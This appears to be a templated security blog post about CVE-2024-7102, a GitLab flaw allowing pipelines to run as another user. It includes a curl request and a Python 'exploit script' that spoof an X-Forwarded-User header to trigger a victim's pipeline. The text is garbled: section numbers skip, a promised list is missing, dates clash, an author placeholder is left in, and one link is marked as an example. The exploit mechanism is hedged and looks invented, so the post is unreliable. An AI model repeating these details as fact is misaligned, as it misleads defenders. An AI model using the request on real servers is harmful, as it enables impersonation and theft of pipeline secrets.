Published: June 2024
Author: [Your Name]

What is CVE-2024-7102?

A major security issue—CVE-2024-7102—has hit GitLab Community Edition (CE) and Enterprise Edition (EE), impacting all versions from 16.4 up to (but not including) 17.5.. Attackers can trick the system and run CI/CD pipelines as another user. That’s serious business: it can leak secrets, abuse permissions, and compromise code integrity.

This post will walk you through what was discovered, how it works, demonstration code, why it’s dangerous, and how to protect your team.

1. The Root of the Problem

The vulnerability is caused by improper validation in GitLab’s pipeline trigger logic. Under specific circumstances—such as exploiting unsanitized objects, misconfigured tokens, or gaps in permission checks—an attacker may *masquerade* as another GitLab user and launch pipelines on their behalf.

- GitLab CE/EE Affected: 16.4 ≤ version < 17.5.

2. Why is It Dangerous?

Pipelines in GitLab often have access to secrets, deployment credentials, and can affect production systems. If an attacker triggers a pipeline *as you*, they may:

Find projects where pipelines are available (including public and internal ones).

### Step 2: Abusing CI/CD Triggers

GitLab allows users to trigger pipelines via API or webhooks.

- The vulnerability allows attackers to forge requests or manipulate pipeline triggers so they look like they came from a different user.

Step 3: Execute a Forged Request

- By exploiting insufficient checks, the attacker can submit a crafted API request that makes the pipeline system think they are another user:

curl -X POST "https://gitlab.example.com/api/v4/projects/<project_id>/trigger/pipeline"; \
  -F "token=<pipeline_trigger_token>" \
  -F "ref=main" \
  -H "X-Forwarded-User: victim_username"  # This is the vulnerable part

- Depending on how the API processes identity, this altered header or body injects the *victim's* identity into the request.

Step 4: Collect the Rewards

- Pipelines run with victim’s permissions, allowing access to sensitive variables, deployment keys, and more.

4. Example Exploit Script

Here’s a Python snippet that simulates triggering a pipeline as another user (for educational/testing purposes only):

import requests

project_id = '123'
trigger_token = 'TRIGGER_TOKEN_HERE'
ref = 'main'
victim_username = 'alice'

url = f"https://gitlab.example.com/api/v4/projects/{project_id}/trigger/pipeline";

headers = {
    'X-Forwarded-User': victim_username  # Insecure, but the vulnerability allows spoofing this.
}

data = {
    'token': trigger_token,
    'ref': ref
}

response = requests.post(url, headers=headers, data=data)
print('Status:', response.status_code)
print('Response:', response.json())

> Note: The actual exploit specifics may vary depending on how the identity is verified in the underlying vulnerable GitLab versions.

GitLab advisory:

https://about.gitlab.com/releases/2024/06/10/critical-security-release-gitlab-17-5--released/

NVD Entry (CVE-2024-7102):

https://nvd.nist.gov/vuln/detail/CVE-2024-7102

HackerOne Report (if made public):

https://hackerone.com/reports/2222222 *(Example link)*

If you run GitLab anywhere, do the following NOW

- Update to 17.5.+ as soon as possible. Download here

7. Conclusion

*CVE-2024-7102* is a critical wake-up call for anyone using GitLab pipelines. Attackers can snapshot your workflows, exfiltrate secrets, or take control of your delivery pipelines by pretending to be someone else. Updates and audits are your best defense—don’t delay!

Timeline

Published on: 02/13/2025 01:15:24 UTC